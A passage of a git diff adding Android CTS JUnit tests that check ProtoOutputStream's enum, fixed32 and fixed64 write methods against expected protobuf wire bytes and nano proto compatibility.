+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 4 -> MIN_VALUE
+                (byte)0x20,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0xf8,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 5 -> MAX_VALUE
+                (byte)0x28,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new int[0]);
+        testRepeatedCompat(new int[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE });
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    public void testRepeatedCompat(int[] val) throws Exception {
+        final int fieldId = 161;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_ENUM;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.outsideFieldRepeated = val;
+        for (int i=0; i<val.length; i++) {
+            po.writeRepeatedEnum(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val[i]);
+        }
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        // Nano proto drops values that are outside the range, so disable
+        // this test.
+        /*
+        assertNotNull(readback.outsideFieldRepeated);
+        assertEquals(val.length, readback.outsideFieldRepeated.length);
+        for (int i=0; i<val.length; i++) {
+            assertEquals(val[i], readback.outsideFieldRepeated[i]);
+        }
+        */
+    }
+
+    // ----------------------------------------------------------------------
+    //  writePackedEnum
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeEnum.
+     */
+    public void testPacked() throws Exception {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    /**
+     * Create an array of the val, and write it.
+     */
+    private void writePackedEnum(ProtoOutputStream po, int fieldId, int val) {
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_ENUM;
+        po.writePackedEnum(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), new int[] { val, val });
+    }
+
+    /**
+     * Implementation of testPacked with a given chunkSize.
+     */
+    public void testPacked(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_ENUM;
+
+        po.writePackedEnum(ProtoOutputStream.makeFieldId(1000, fieldFlags), null);
+        po.writePackedEnum(ProtoOutputStream.makeFieldId(1001, fieldFlags), new int[0]);
+        writePackedEnum(po, 1, 0);
+        writePackedEnum(po, 2, 1);
+        writePackedEnum(po, 3, -1);
+        writePackedEnum(po, 4, Integer.MIN_VALUE);
+        writePackedEnum(po, 5, Integer.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x0a,
+                (byte)0x02,
+                (byte)0x00,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x12,
+                (byte)0x02,
+                (byte)0x01,
+                (byte)0x01,
+                // 3 -> -1
+                (byte)0x1a,
+                (byte)0x14,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+
+                // 4 -> MIN_VALUE
+                (byte)0x22,
+                (byte)0x14,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0xf8,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0xf8,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+
+                // 5 -> MAX_VALUE
+                (byte)0x2a,
+                (byte)0x0a,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new int[] {});
+        testPackedCompat(new int[] { 0, 1 });
+
+        // Nano proto has a bug.  It gets the size with computeInt32SizeNoTag (correctly)
+        // but incorrectly uses writeRawVarint32 to write the value for negative numbers.
+        //testPackedCompat(new int[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE });
+    }
+
+    /**
+     * Implementation of testPackedEnumCompat with a given value.
+     */
+    public void testPackedCompat(int[] val) throws Exception {
+        final int fieldId = 162;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_ENUM;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.outsideFieldPacked = val;
+        po.writePackedEnum(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        Assert.assertArrayEquals(val, readback.outsideFieldPacked);
+    }
+
+    /**
+     * Test that if you pass in the wrong type of fieldId, it throws.
+     */
+    public void testBadFieldIds() {
+        // Single
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeEnum(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeEnum(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_ENUM), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Repeated
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedEnum(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedEnum(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_ENUM), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Packed
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedEnum(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_DOUBLE),
+                    new int[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedEnum(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_ENUM),
+                    new int[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+    }
+}
+
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamFixed32Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamFixed32Test.java
new file mode 100644
index 0000000..dcc50d4
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamFixed32Test.java
@@ -0,0 +1,377 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoOutputStream;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+import junit.framework.TestCase;
+import org.junit.Assert;
+
+/**
+ * Test the fixed32 methods on the ProtoOutputStream class.
+ */
+public class ProtoOutputStreamFixed32Test extends TestCase {
+
+    // ----------------------------------------------------------------------
+    //  writeFixed32
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeFixed32.
+     */
+    public void testWrite() throws Exception {
+        testWrite(0);
+        testWrite(1);
+        testWrite(5);
+    }
+
+    /**
+     * Implementation of testWrite with a given chunkSize.
+     */
+    public void testWrite(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_FIXED32;
+
+        po.writeFixed32(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeFixed32(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeFixed32(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeFixed32(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeFixed32(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte)0x15,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 3 -> -1
+                (byte)0x1d,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x25,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x2d,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testWriteCompat() throws Exception {
+        testWriteCompat(0);
+        testWriteCompat(1);
+        testWriteCompat(-1);
+        testWriteCompat(Integer.MIN_VALUE);
+        testWriteCompat(Integer.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testWriteCompat with a given value.
+     */
+    public void testWriteCompat(int val) throws Exception {
+        final int fieldId = 90;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_FIXED32;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.fixed32Field = val;
+        po.writeFixed32(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertEquals(val, readback.fixed32Field);
+    }
+
+    // ----------------------------------------------------------------------
+    //  writeRepeatedFixed32
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeFixed32.
+     */
+    public void testRepeated() throws Exception {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    /**
+     * Implementation of testRepeated with a given chunkSize.
+     */
+    public void testRepeated(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_FIXED32;
+
+        po.writeRepeatedFixed32(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedFixed32(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedFixed32(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedFixed32(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedFixed32(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+
+        po.writeRepeatedFixed32(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedFixed32(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedFixed32(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedFixed32(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedFixed32(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x0d,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 2 -> 1
+                (byte)0x15,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 3 -> -1
+                (byte)0x1d,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x25,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x2d,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x0d,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 2 -> 1
+                (byte)0x15,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 3 -> -1
+                (byte)0x1d,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x25,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x2d,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new int[0]);
+        testRepeatedCompat(new int[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE, });
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    public void testRepeatedCompat(int[] val) throws Exception {
+        final int fieldId = 91;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_FIXED32;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.fixed32FieldRepeated = val;
+        for (int i=0; i<val.length; i++) {
+            po.writeRepeatedFixed32(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val[i]);
+        }
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertNotNull(readback.fixed32FieldRepeated);
+        assertEquals(val.length, readback.fixed32FieldRepeated.length);
+        for (int i=0; i<val.length; i++) {
+            assertEquals(val[i], readback.fixed32FieldRepeated[i]);
+        }
+    }
+
+    // ----------------------------------------------------------------------
+    //  writePackedFixed32
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeFixed32.
+     */
+    public void testPacked() throws Exception {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    /**
+     * Create an array of the val, and write it.
+     */
+    private void writePackedFixed32(ProtoOutputStream po, int fieldId, int val) {
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_FIXED32;
+        po.writePackedFixed32(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), new int[] { val, val });
+    }
+
+    /**
+     * Implementation of testPacked with a given chunkSize.
+     */
+    public void testPacked(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_FIXED32;
+
+        po.writePackedFixed32(ProtoOutputStream.makeFieldId(1000, fieldFlags), null);
+        po.writePackedFixed32(ProtoOutputStream.makeFieldId(1001, fieldFlags), new int[0]);
+        writePackedFixed32(po, 1, 0);
+        writePackedFixed32(po, 2, 1);
+        writePackedFixed32(po, 3, -1);
+        writePackedFixed32(po, 4, Integer.MIN_VALUE);
+        writePackedFixed32(po, 5, Integer.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x0a,
+                (byte)0x08,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 2 -> 1
+                (byte)0x12,
+                (byte)0x08,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 3 -> -1
+                (byte)0x1a,
+                (byte)0x08,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x22,
+                (byte)0x08,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x2a,
+                (byte)0x08,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new int[] {});
+        testPackedCompat(new int[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE, });
+    }
+
+    /**
+     * Implementation of testPackedFixed32Compat with a given value.
+     */
+    public void testPackedCompat(int[] val) throws Exception {
+        final int fieldId = 92;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_FIXED32;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.fixed32FieldPacked = val;
+        po.writePackedFixed32(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        Assert.assertArrayEquals(val, readback.fixed32FieldPacked);
+    }
+
+    /**
+     * Test that if you pass in the wrong type of fieldId, it throws.
+     */
+    public void testBadFieldIds() {
+        // Single
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeFixed32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeFixed32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_FIXED32), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Repeated
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedFixed32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedFixed32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_FIXED32), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Packed
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedFixed32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_DOUBLE),
+                    new int[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedFixed32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_FIXED32),
+                    new int[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamFixed64Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamFixed64Test.java
new file mode 100644
index 0000000..4545359
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamFixed64Test.java
@@ -0,0 +1,454 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoOutputStream;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+import junit.framework.TestCase;
+import org.junit.Assert;
+
+/**
+ * Test the fixed64 methods on the ProtoOutputStream class.
+ */
+public class ProtoOutputStreamFixed64Test extends TestCase {
+
+    // ----------------------------------------------------------------------
+    //  writeFixed64
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeFixed64.
+     */
+    public void testWrite() throws Exception {
+        testWrite(0);
+        testWrite(1);
+        testWrite(5);
+    }
+
+    /**
+     * Implementation of testWrite with a given chunkSize.
+     */
+    public void testWrite(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_FIXED64;
+
+        po.writeFixed64(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeFixed64(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeFixed64(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeFixed64(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeFixed64(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+        po.writeFixed64(ProtoOutputStream.makeFieldId(6, fieldFlags), Long.MIN_VALUE);
+        po.writeFixed64(ProtoOutputStream.makeFieldId(7, fieldFlags), Long.MAX_VALUE);
+
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte)0x11,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 3 -> -1
+                (byte)0x19,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x21,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x29,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 6 -> Long.MIN_VALUE
+                (byte)0x31,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                // 7 -> Long.MAX_VALUE
+                (byte)0x39,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testWriteCompat() throws Exception {
+        testWriteCompat(0);
+        testWriteCompat(1);
+        testWriteCompat(-1);
+        testWriteCompat(Integer.MIN_VALUE);
+        testWriteCompat(Integer.MAX_VALUE);
+        testWriteCompat(Long.MIN_VALUE);
+        testWriteCompat(Long.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testWriteCompat with a given value.
+     */
+    public void testWriteCompat(long val) throws Exception {
+        final int fieldId = 100;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_FIXED64;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.fixed64Field = val;
+        po.writeFixed64(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertEquals(val, readback.fixed64Field);
+    }
+
+    // ----------------------------------------------------------------------
+    //  writeRepeatedFixed64
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeFixed64.
+     */
+    public void testRepeated() throws Exception {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    /**
+     * Implementation of testRepeated with a given chunkSize.
+     */
+    public void testRepeated(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_FIXED64;
+
+        po.writeRepeatedFixed64(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedFixed64(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedFixed64(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedFixed64(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedFixed64(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+        po.writeRepeatedFixed64(ProtoOutputStream.makeFieldId(6, fieldFlags), Long.MIN_VALUE);
+        po.writeRepeatedFixed64(ProtoOutputStream.makeFieldId(7, fieldFlags), Long.MAX_VALUE);
+
+        po.writeRepeatedFixed64(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedFixed64(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedFixed64(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedFixed64(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedFixed64(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+        po.writeRepeatedFixed64(ProtoOutputStream.makeFieldId(6, fieldFlags), Long.MIN_VALUE);
+        po.writeRepeatedFixed64(ProtoOutputStream.makeFieldId(7, fieldFlags), Long.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x09,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 2 -> 1
+                (byte)0x11,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 3 -> -1
+                (byte)0x19,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x21,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x29,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 6 -> Long.MIN_VALUE
+                (byte)0x31,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
